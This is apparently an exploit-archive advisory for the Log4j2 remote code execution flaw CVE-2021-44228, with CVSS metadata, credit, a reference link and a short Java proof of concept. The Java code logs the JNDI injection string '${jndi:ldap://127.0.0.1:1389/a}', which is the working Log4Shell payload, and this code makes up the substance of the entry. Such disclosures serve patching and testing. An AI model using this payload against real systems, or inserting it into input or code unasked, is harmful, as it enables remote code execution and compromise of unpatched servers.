Log4j2 Remote Code Execution PoC

2021.12.10

Credit: 唐小风

Risk: High

Local: Yes

Remote: Yes

CVE: CVE-2021-44228

CWE: CWE-502

CVSS Base Score: 9.3/10

Impact Subscore: 10/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: Complete

Integrity impact: Complete

Availability impact: Complete

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;


public class log4j {
    private static final Logger logger = LogManager.getLogger(log4j.class);

    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389/a}");
    }
}

References:

https://github.com/tangxiaofeng7/apache-log4j-poc/blob/main/src/main/java/log4j.java

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Log4j2 Remote Code Execution PoC

References:

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